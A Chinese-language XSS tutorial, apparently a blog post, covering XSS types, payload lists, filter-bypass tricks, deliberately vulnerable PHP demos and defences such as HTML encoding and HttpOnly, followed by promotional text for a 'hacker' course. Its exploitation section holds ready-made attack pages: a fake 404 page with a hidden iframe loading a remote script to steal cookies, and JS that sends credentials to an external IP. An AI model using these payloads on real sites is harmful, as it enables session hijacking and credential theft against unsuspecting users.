XSS(跨站脚本攻击)详解
XSS 的原理和分类
跨站脚本攻击 XSS(Cross Site Scripting),为了不和层叠样式表(Cascading Style Sheets, CSS)的缩写混淆,故将跨站脚本攻击缩写为 XSS。恶意攻击者往 Web 页面里插入恶意 Script 代码,当用户浏览该页面时,嵌入 Web 里面的 Script 代码会被执行,从而达到恶意攻击用户的目的。XSS 攻击针对的是用户层面的攻击!
XSS 分为:存储型 、反射型 、DOM 型 XSS
存储型 XSS:存储型 XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种 XSS 比较危险,容易造成蠕虫,盗窃 cookie 反射型 XSS:非持久化,需要欺骗用户自己去点击链接才能触发 XSS 代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型 XSS 大多数是用来盗取用户的 Cookie 信息。DOM 型 XSS:不经过后端,DOM-XSS 漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS 是通过 url 传入参数去控制触发的,其实也属于反射型 XSS。 DOM 的详解:DOM 文档对象模型
可能触发 DOM 型 XSS 的属性
document.referer
window.name
location
innerHTML
documen.write
如图,我们在 URL 中传入参数的值,然后客户端页面通过 js 脚本利用 DOM 的方法获得 URL 中参数的值,再通过 DOM 方法赋值给选择列表,该过程没有经过后端,完全是在前端完成的。所以,我们就可以在我们输入的参数上做手脚了。
XSS 的攻击载荷
以下所有标签的 > 都可以用 // 代替, 例如 <script>alert(1)</script//
<script>标签:<script>标签是最直接的 XSS 有效载荷,脚本标记可以引用外部的 JavaScript 代码,也可以将代码插入脚本标记中
<script>alert("hack")</script> #弹出 hack<script>alert(/hack/)</script> #弹出 hack<script>alert(1)</script> #弹出 1,对于数字可以不用引号<script>alert(document.cookie)</script> #弹出 cookie<script src=http://xxx.com/xss.js></script> #引用外部的 xss
svg
标签 :
<svg onload="alert(1)">
<svg onload="alert(1)"//
<img>
标签:
<img src=1 οnerrοr=alert("hack")>
<img src=1 οnerrοr=alert(document.cookie)> #弹出cookie
·<body>
标签:
<body οnlοad=alert(1)>
<body οnpageshοw=alert(1)>
video 标签:
<video οnlοadstart=alert(1) src="/media/hack-the-planet.mp4" />
style 标签:
<style οnlοad=alert(1)></style>
XSS 可以插在哪里?
-
用户输入作为 script 标签内容
-
用户输入作为 HTML 注释内容
-
用户输入作为 HTML 标签的属性名
-
用户输入作为 HTML 标签的属性值
-
用户输入作为 HTML 标签的名字
-
直接插入到 CSS 里
最重要的是,千万不要引入任何不可信的第三方 JavaScript 到页面里!
#用户输入作为HTML注释内容,导致攻击者可以进行闭合绕过
<!-- 用户输入 -->
<!-- --><script>alert('hack')</script><!-- -->
#用户输入作为标签属性名,导致攻击者可以进行闭合绕过
<div 用户输入="xx"> </div>
<div ></div><script>alert('hack')</script><div a="xx"> </div>
#用户输入作为标签属性值,导致攻击者可以进行闭合绕过
<div id="用户输入"></div>
<div id=""></div><script>alert('hack')</script><div a="x"></div>
#用户输入作为标签名,导致攻击者可以进行闭合绕过
<用户输入 id="xx" />
<><script>alert('hack')</script><b id="xx" />
#用户输入作为CSS内容,导致攻击者可以进行闭合绕过
<style>用户输入<style>
<style> </style><script>alert('hack')</script><style> </style>
XSS 漏洞的挖掘
黑盒测试
尽可能找到一切用户可控并且能够输出在页面代码中的地方,比如下面这些:
-
URL 的每一个参数
-
URL 本身
-
表单
-
搜索框
-
常见业务场景
重灾区:
-
评论区、留言区、个人信息、订单信息等
-
针对型:站内信、网页即时通讯、私信、意见反馈
-
存在风险:搜索框、当前目录、图片属性等
-
白盒测试(代码审计)
关于 XSS 的代码审计主要就是从接收参数的地方和一些关键词入手。
PHP 中常见的接收参数的方式有GET、_POST、$_REQUEST 等等,可以搜索所有接收参数的地方。然后对接收到的数据进行跟踪,看看有没有输出到页面中,然后看输出到页面中的数据是否进行了过滤和 html 编码等处理。
也可以搜索类似 echo 这样的输出语句,跟踪输出的变量是从哪里来的,我们是否能控制,如果从数据库中取的,是否能控制存到数据库中的数据,存到数据库之前有没有进行过滤等等。
大多数程序会对接收参数封装在公共文件的函数中统一调用,我们就需要审计这些公共函数看有没有过滤,能否绕过等等。
同理审计 DOM 型注入可以搜索一些 js 操作 DOM 元素的关键词进行审计。
XSS 的攻击过程
反射型 XSS 漏洞:
Alice 经常浏览某个网站,此网站为 Bob 所拥有。Bob 的站点需要 Alice 使用用户名/密码进行登录,并存储了 Alice 敏感信息(比如银行帐户信息)。Tom 发现 Bob 的站点存在反射性的 XSS 漏洞 Tom 利用 Bob 网站的反射型 XSS 漏洞编写了一个 exp,做成链接的形式,并利用各种手段诱使 Alice 点击 Alice 在登录到 Bob 的站点后,浏览了 Tom 提供的恶意链接嵌入到恶意链接中的恶意脚本在 Alice 的浏览器中执行。此脚本盗窃敏感信息(cookie、帐号信息等信息)。然后在 Alice 完全不知情的情况下将这些信息发送给 Tom。Tom 利用获取到的 cookie 就可以以 Alice 的身份登录 Bob 的站点,如果脚本的功更强大的话,Tom 还可以对 Alice 的浏览器做控制并进一步利用漏洞控制
存储型 XSS 漏洞:
Bob 拥有一个 Web 站点,该站点允许用户发布信息/浏览已发布的信息。Tom 检测到 Bob 的站点存在存储型的 XSS 漏洞。Tom 在 Bob 的网站上发布一个带有恶意脚本的热点信息,该热点信息存储在了 Bob 的服务器的数据库中,然后吸引其它用户来阅读该热点信息。Bob 或者是任何的其他人如 Alice 浏览该信息之后,Tom 的恶意脚本就会执行。Tom 的恶意脚本执行后,Tom 就可以对浏览器该页面的用户发动一起 XSS 攻击 XSS 漏洞的危害从以上我们可以知道,存储型的 XSS 危害最大。因为他存储在服务器端,所以不需要我们和被攻击者有任何接触,只要被攻击者访问了该页面就会遭受攻击。而反射型和 DOM 型的 XSS 则需要我们去诱使用户点击我们构造的恶意的 URL,需要我们和用户有直接或者间接的接触,比如利用社会工程学或者利用在其他网页挂马的方式。
那么,利用 XSS 漏洞可以干什么呢?
如果我们的 JS 水平一般的话,我们可以利用网上免费的 XSS 平台来构造代码实施攻击。
XSS 漏洞的简单攻击测试
反射型 XSS:
先放出源代码
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action.php:
<?php
$name=$_POST["name"];
echo $name;
?>
这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理
所以,我们可以在输入框中提交数据: <script>alert('hack')</script> ,看看会有什么反应
页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。这就是最基本的反射型的 XSS 漏洞,这种漏洞数据流向是: 前端-->后端-->前端
存储型 XSS:
先给出源代码
//前端:2.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>存储型XSS</title>
</head>
<body>
<form action="action2.php" method="post">
输入你的ID: <input type="text" name="id" /> <br/>
输入你的Name:<input type="text" name="name" /> <br/>
<input type="submit" value="提交">
</form>
</body>
</html>
//后端:action2.php
<?php
$id=$_POST["id"];
$name=$_POST["name"];
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="insert into xss value ($id,'$name')";
$result=mysql_query($sql);
?>
//供其他用户访问页面:show2.php
<?php
mysql_connect("localhost","root","root");
mysql_select_db("test");
$sql="select * from xss where id=1";
$result=mysql_query($sql);
while($row=mysql_fetch_array($result)){
echo $row['name'];
}
?>
这里有一个用户提交的页面,数据提交给后端之后,后端存储在数据库中。然后当其他用户访问另一个页面的时候,后端调出该数据,显示给另一个用户,XSS 代码就被执行了。
我们输入 1 和 <script>alert('hack')</script> ,注意,这里的 hack 的单引号要进行转义,因为 sql 语句中的 $name 是单引号的,所以这里不转义的话就会闭合 sql 语句中的单引号。不然注入不进去。提交了之后,我们看看数据库
可以看到,我们的 XSS 语句已经插入到数据库中了然后当其他用户访问 show2.php 页面时,我们插入的 XSS 代码就执行了。存储型 XSS 的数据流向是:前端-->后端-->数据库-->后端-->前端
DOM 型 XSS:
先放上源代码
// 前端3.html
<html>
<head lang="en">
<meta charset="UTF-8">
<title>DOM型XSS</title>
</head>
<body>
<form action="action3.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
// 后端action3.php
<?php
$name=$_POST["name"];
?>
<input id="text" type="text" value="<?php echo $name; ?>"/>
<div id="print"></div>
<script type="text/javascript">
var text=document.getElementById("text");
var print=document.getElementById("print");
print.innerHTML=text.value; // 获取 text 的值,并且输出在 print 内。这里是导致 xss 的主要原因。</script>这里有一个用户提交的页面,用户可以在此提交数据,数据提交之后给后台处理
我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变化
页面直接弹出了 hack 的页面,可以看到,我们插入的语句已经被页面给执行了。这就是 DOM 型 XSS 漏洞,这种漏洞数据流向是: 前端-->浏览器
XSS 的简单过滤和绕过
前面讲 sql 注入的时候,我们讲过程序猿对于 sql 注入的一些过滤,利用一些函数(如:preg_replace()),将组成 sql 语句的一些字符给过滤,以防止注入。那么,程序猿也可以用一些函数将构成 xss 代码的一些关键字符给过滤了。可是,道高一尺魔高一丈,虽然过滤了,但是还是可以进行过滤绕过,以达到 XSS 攻击的目的。
一:区分大小写过滤标签
先放上源代码
//前端 1.html:
<html>
<head lang="en">
<meta charset="UTF-8">
<title>反射型XSS</title>
</head>
<body>
<form action="action4.php" method="post">
<input type="text" name="name" />
<input type="submit" value="提交">
</form>
</body>
</html>
//后端 action4.php:
<?php
$name=$_POST["name"];
if($name!=null){
$name=preg_replace("/<script>/","",$name); //过滤<script>
$name=preg_replace("/<\/script>/","",$name); //过滤</script>
echo $name;
}
?>
绕过技巧:可以使用大小写绕过 <scripT>alert('hack')</scripT>
二:不区分大小写过滤标签
先放上源代码
这个和上面的代码一模一样,只不过是过滤的时候多加了一个 i ,以不区分大小写
name=pregreplace("/<script>/i","",name); //不区分大小写过滤 <script>name=pregreplace("/</script>/i","",name); //不区分大小写过滤 </script>绕过技巧:可以使用嵌套的 script 标签绕过 <scr<script>ipt>alert('hack')</scr</script>ipt>
三:不区分大小写,过滤之间的所有内容
先放上源代码
这个和上面的代码一模一样,只不过是过滤的时候过滤条件发生了变化
$name = preg_replace( '/<(.)s(.)c(.)r(.)i(.)p(.)t/i', '', $_GET[ 'name' ] ); //过滤了<script 及其之间的所有内容虽然无法使用<script>标签注入 XSS 代码,但是可以通过 img、body 等标签的事件或者 iframe 等标签的 src 注入恶意的 js 代码。
payload: <img src=1 οnerrοr=alert('hack')>
我们可以输入 <img src=1 οnerrοr=alert('hack')> ,然后看看页面的变化
XSS 的防御
XSS 防御的总体思路是:对用户的输入(和 URL 参数)进行过滤,对输出进行 html 编码。也就是对用户提交的所有内容进行过滤,对 url 中的参数进行过滤,过滤掉会导致脚本执行的相关内容;然后对动态输出到页面的内容进行 html 编码,使脚本无法在浏览器中执行。
对输入的内容进行过滤,可以分为黑名单过滤和白名单过滤。黑名单过滤虽然可以拦截大部分的 XSS 攻击,但是还是存在被绕过的风险。白名单过滤虽然可以基本杜绝 XSS 攻击,但是真实环境中一般是不能进行如此严格的白名单过滤的。
对输出进行 html 编码,就是通过函数,将用户的输入的数据进行 html 编码,使其不能作为脚本运行。
如下,是使用 php 中的 htmlspecialchars 函数对用户输入的 name 参数进行 html 编码,将其转换为 html 实体
#使用 htmlspecialchars 函数对用户输入的 name 参数进行 html 编码,将其转换为 html 实体name=htmlspecialchars(_GET[ 'name' ] );如下,图一是没有进行 html 编码的,图 2 是进行了 html 编码的。经过 html 编码后 script 标签被当成了 html 实体。
我们还可以服务端设置会话 Cookie 的 HTTP Only 属性,这样,客户端的 JS 脚本就不能获取 Cookie 信息了
反射型 XSS 的利用姿势
我们现在发现一个网站存在反射型 XSS,当用户登录该网站时,我们通过诱使用户点击我们精心制作的恶意链接,来盗取用户的 Cookie 并且发送给我们,然后我们再利用盗取的 Cookie 以用户的身份登录该用户的网站。
get 型
当我们输入参数的请求类型的 get 类型的,即我们输入的参数是以 URL 参数的形式。如下图
该链接的为:http://127.0.0.1/vulnerabilities/xss_r/?name=<script>alert(/xss/)</script>
那么,我们要怎么构造恶意代码来诱使用户点击并且用户点击后不会发现点击了恶意链接呢?
我们构造了如下代码,将其保存为 html 页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该链接页面会偷偷打开 iframe 框架,iframe 会访问其中的链接,然后执行我们的 js 代码。该 js 代码会把存在漏洞网站的 cookie 发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个 404 的页面!
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
</head>
<body>
<iframe src="http://127.0.0.1/vulnerabilities/xss_r/?name=<script src=https://t.cn/EtxZt8T></script>" style="display:none;"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
</div>
</body>
</html>
而我们的 XSS 平台将得到用户的 Cookie,然后我们就可以利用得到的 Cookie 以用户的身份访问该网站了。
注:我们的攻击代码可以利用的前提是存在 XSS 漏洞的网站的 X-Frame-options 未配置,并且会话 Cookie 没有设置 Http Only 属性
post 型
我们现在知道一个网站的用户名输入框存在反射型的 XSS 漏洞
我们抓包查看
我们构造了如下代码,将其保存为 html 页面,然后放到我们自己的服务器上,做成一个链接。当用户登录了存在漏洞的网站,并且用户点击了我们构造的恶意链接时,该恶意链接的页面加载完后会执行 js 代码,完成表单的提交,表单的用户名参数是我们的恶意 js 代码。提交完该表单后,该 js 代码会把存在漏洞网站的 cookie 发送到我们的平台上,但是用户却浑然不知,他会发现打开的是一个 404 的页面。
我们这里写了一个 404 页面,404 页面中隐藏了一个 form 提交的表单,为了防止提交表单后跳转,我们在表单下加了一个 iframe 框架,并且 iframe 框架的 name 等于 form 表单的 target,并且我们设置 iframe 框架为不可见。
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>404 页面不存在 </title>
<style type="text/css">
body{font:14px/1.5 'Microsoft YaHei','微软雅黑',Helvetica,Sans-serif;min-width:1200px;background:#f0f1f3;}
.error-page{background:#f0f1f3;padding:80px 0 180px}
.error-page-main{position:relative;background:#f9f9f9;margin:0 auto;width:617px;-ms-box-sizing:border-box;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;box-sizing:border-box;padding:50px 50px 70px}
.error-page-main h3{font-size:24px;font-weight:400;border-bottom:1px solid #d0d0d0}
.error-page-main h3 strong{font-size:54px;font-weight:400;margin-right:20px}
</style>
<script type="text/javascript">
function attack()
{
document.getElementById("transfer").submit();
}
</script>
</head>
<body>
<iframe src="form.html" frameborder="0" style="display: none"></iframe>
<div class="error-page">
<div class="error-page-container">
<div class="error-page-main">
<h3>
<strong>404</strong>很抱歉,您要访问的页面不存在!
</h3>
</div>
</div>
<form method="POST" id="transfer" action="http://127.0.0.1/xss/action.php" target="frameName">
<input type="hidden" name="username" value="<script src=https://t.cn/EtxZt8T></script>">
<input type="hidden" name="password" value="1">
</form>
<iframe src="" frameborder="0" name="frameName" style="display: none"></iframe>
</div>
</body>
</html>
当用户点击了我们构造的恶意链接,发现打开的是一个 404 页面。实际上这个页面偷偷的进行了表单的提交。
而我们的 XSS 平台也收到了发送来的数据(这数据中没有 Cookie 的原因是这个网站我没设置 Cookie,只是随便写的一个页面)。
利用 JS 将用户信息发送给后台
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script src="https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js"></script>
<script>
$(function(){
//我们现在假如 user和pass是我们利用js获得的用户的用户名和密码
user="admin";
pass="root";
url="http://120.79.74.249:8080/?user="+user+"&pass="+pass;
var frame=$("<iframe>");
frame.attr("src",url);
frame.attr("style","display:none");
$("#body").append(frame); //添加一个iframe框架,并设置不显示。这个框架会偷偷访问该链接。
});
</script>
</head>
<body id="body">
<h3>hello,word!</h3>
</body>
</html>
当用户访问了该页面,我们后台就可以看到用户访问记录。
题外话
初入计算机行业的人或者大学计算机相关专业毕业生,很多因缺少实战经验,就业处处碰壁。下面我们来看两组数据:
-
2023届全国高校毕业生预计达到1158万人,就业形势严峻;
-
国家网络安全宣传周公布的数据显示,到2027年我国网络安全人员缺口将达327万。
一方面是每年应届毕业生就业形势严峻,一方面是网络安全人才百万缺口。
6月9日,麦可思研究2023年版就业蓝皮书(包括《2023年中国本科生就业报告》《2023年中国高职生就业报告》)正式发布。
2022届大学毕业生月收入较高的前10个专业
本科计算机类、高职自动化类专业月收入较高。2022届本科计算机类、高职自动化类专业月收入分别为6863元、5339元。其中,本科计算机类专业起薪与2021届基本持平,高职自动化类月收入增长明显,2022届反超铁道运输类专业(5295元)排在第一位。
具体看专业,2022届本科月收入较高的专业是信息安全(7579元)。对比2018届,电子科学与技术、自动化等与人工智能相关的本科专业表现不俗,较五年前起薪涨幅均达到了19%。数据科学与大数据技术虽是近年新增专业但表现亮眼,已跻身2022届本科毕业生毕业半年后月收入较高专业前三。五年前唯一进入本科高薪榜前10的人文社科类专业——法语已退出前10之列。
“没有网络安全就没有国家安全”。当前,网络安全已被提升到国家战略的高度,成为影响国家安全、社会稳定至关重要的因素之一。
网络安全行业特点
1、就业薪资非常高,涨薪快 2021年猎聘网发布网络安全行业就业薪资行业最高人均33.77万!
2、人才缺口大,就业机会多
2019年9月18日《中华人民共和国中央人民政府》官方网站发表:我国网络空间安全人才 需求140万人,而全国各大学校每年培养的人员不到1.5W人。猎聘网《2021年上半年网络安全报告》预测2027年网安人才需求300W,现在从事网络安全行业的从业人员只有10W人。
行业发展空间大,岗位非常多
网络安全行业产业以来,随即新增加了几十个网络安全行业岗位︰网络安全专家、网络安全分析师、安全咨询师、网络安全工程师、安全架构师、安全运维工程师、渗透工程师、信息安全管理员、数据安全工程师、网络安全运营工程师、网络安全应急响应工程师、数据鉴定师、网络安全产品经理、网络安全服务工程师、网络安全培训师、网络安全审计员、威胁情报分析工程师、灾难恢复专业人员、实战攻防专业人员…
职业增值潜力大
网络安全专业具有很强的技术特性,尤其是掌握工作中的核心网络架构、安全技术,在职业发展上具有不可替代的竞争优势。
随着个人能力的不断提升,所从事工作的职业价值也会随着自身经验的丰富以及项目运作的成熟,升值空间一路看涨,这也是为什么受大家欢迎的主要原因。
从某种程度来讲,在网络安全领域,跟医生职业一样,越老越吃香,因为技术愈加成熟,自然工作会受到重视,升职加薪则是水到渠成之事。
如果你对网络安全入门感兴趣,那么你点击这里👉CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
如果你对网络安全感兴趣,学习资源免费分享,保证100%免费!!!(嘿客入门教程)
1.成长路线图&学习规划
要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
2.视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。
3.SRC&黑客文籍
大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录
SRC技术文籍:
黑客资料由于是敏感资源,这里不能直接展示哦!
4.护网行动资料
其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!
5.黑客必读书单
6.面试题合集
当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
更多内容为防止和谐,可以扫描获取~
需要全套共282G的《网络安全&黑客技术零基础到进阶全套学习大礼包》,可以扫描下方二维码免费领取!